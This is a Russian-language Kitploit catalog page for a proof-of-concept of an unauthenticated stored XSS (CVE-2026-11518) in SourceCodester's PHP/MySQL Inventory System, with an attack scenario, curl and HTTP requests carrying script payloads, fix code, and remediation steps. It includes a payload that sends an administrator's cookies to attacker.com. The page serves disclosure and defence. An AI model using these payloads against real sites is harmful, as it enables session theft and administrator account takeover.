Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11518-XSS — Доказательство концепции для неаутентифицированного хранимого XSS в SourceCodester Inventory System, демонстрирующее перехват сессии администратора через специально созданные регистрационные нагрузки. | Kitploit
Инструменты/GitHubGitHub/xmyronn/cve-2026-11518-xss
Анализ уязвимостейЭксплуатация веб-приложенийВеб-безопасностьCTFТестирование на ПроникновениеОбучение и Образование
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

Доказательство концепции для неаутентифицированного хранимого XSS в SourceCodester Inventory System, демонстрирующее перехват сессии администратора через специально созданные регистрационные нагрузки.

Репозиторий
133 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Хранимая XSS в системе инвентаризации на PHP и MySQL

Детали уязвимости

ПолеДетали
Тип уязвимостиХранимая межсайтовая (XSS)
Затронутое приложениеСистема инвентаризации на PHP и MySQL
ПоставщикSourceCodester
Затронутая версия1.0
Затронутый файлregister.php
Параметрыfullname, username
Требуется аутентификацияНет (неаутентифицированный)
ВлияниеУгон сессии администратора, выполнение вредоносного скрипта в панели администратора
Оценка CVSS8.8 (Высокий)
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Описание

Система инвентаризации на PHP и MySQL от SourceCodester (представлена 23 мая 2026 г.) уязвима для неаутентифицированной хранимой межсайтовой (XSS) в модуле регистрации сотрудников (register.php).

Поля ввода fullname и username не очищают и не кодируют вводимые пользователем данные перед сохранением в базе данных. Когда администратор посещает страницу Управление пользователями (users.php), неочищенные полезные нагрузки отображаются непосредственно в контексте HTML, что приводит к немедленному выполнению JavaScript в сессии браузера администратора.

Поскольку регистрация не требует аутентификации, удаленный неаутентифицированный злоумышленник может внедрить произвольный JavaScript, который будет выполняться в контексте любого администратора, просматривающего панель управления пользователями.


Сценарий атаки

  1. Злоумышленник переходит по адресу /product_inventory/register.php — вход не требуется.
  2. Злоумышленник отправляет вредоносную полезную нагрузку в поля fullname и/или username.
  3. Полезная нагрузка сохраняется в базе данных без очистки.
  4. Когда администратор входит в систему и переходит по адресу /product_inventory/users.php, полезная нагрузка автоматически выполняется в браузере администратора.
  5. Злоумышленник может украсть сессионную cookie администратора, перенаправить администратора на фишинговую страницу или выполнить любое действие от имени администратора.

Доказательство концепции

Шаг 1 — Переход на страницу регистрации (аутентификация не требуется)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

Шаг 2 — Отправка следующей формы регистрации

Полезная нагрузка для поля Full Name:

root@kitploit:~
<script>alert(1)</script>

Полезная нагрузка для поля Username:

root@kitploit:~
<script>alert(2)</script>

Пароль: любое значение (например, test1234)

Шаг 3 — HTTP-запрос (Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

Эквивалент curl:

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

Шаг 4 — Запуск от имени администратора

Войдите как администратор и перейдите по адресу:

root@kitploit:~
http://<TARGET>/product_inventory/users.php

Обе полезные нагрузки выполняются немедленно при загрузке страницы.


Влияние

Неаутентифицированный злоумышленник может:

  • Украсть сессионные cookie администратора — что приводит к полному захвату учетной записи администратора
  • Перенаправить администратора на фишинговые страницы
  • Выполнять действия уровня администратора незаметно через JavaScript (создавать/удалять пользователей, управлять инвентарем)
  • Развернуть постоянный кейлоггер в панели администратора
  • Исказить интерфейс администратора

Пример полезной нагрузки для кражи сессионных cookie (замените на сервер злоумышленника):

root@kitploit:~
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Скриншоты

Шаг 1 — Внедрение полезных нагрузок в форму регистрации

Screenshot 2026-05-24 051430

Шаг 2 — XSS срабатывает на странице администратора users.php

Screenshot 2026-05-24 051452

Затронутый код (корневая причина)

Уязвимость существует, потому что register.php вставляет пользовательский ввод напрямую в базу данных без очистки, а users.php выводит сохраненные значения без кодирования htmlspecialchars().

Уязвимый паттерн в users.php (приблизительно):

root@kitploit:~
// Небезопасно — выводит необработанное значение из базы данных напрямую в HTML
echo $row['fullname'];
echo $row['username'];

Исправление — применить кодирование вывода:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

Кроме того, ввод должен быть очищен при вставке в register.php с помощью strip_tags() или подготовленных запросов с надлежащей валидацией.


Устранение

  1. Кодируйте весь вывод с помощью htmlspecialchars() с ENT_QUOTES перед отображением пользовательских данных в HTML.
  2. Проверяйте и очищайте все поля ввода на стороне сервера в точке ввода.
  3. Внедрите заголовок Content Security Policy (CSP) для смягчения последствий XSS.

Ссылки

  • SourceCodester — Система инвентаризации на PHP и MySQL

Сообщено Syed Imad Uddin Alvi — независимый исследователь безопасности

Скачать инструмент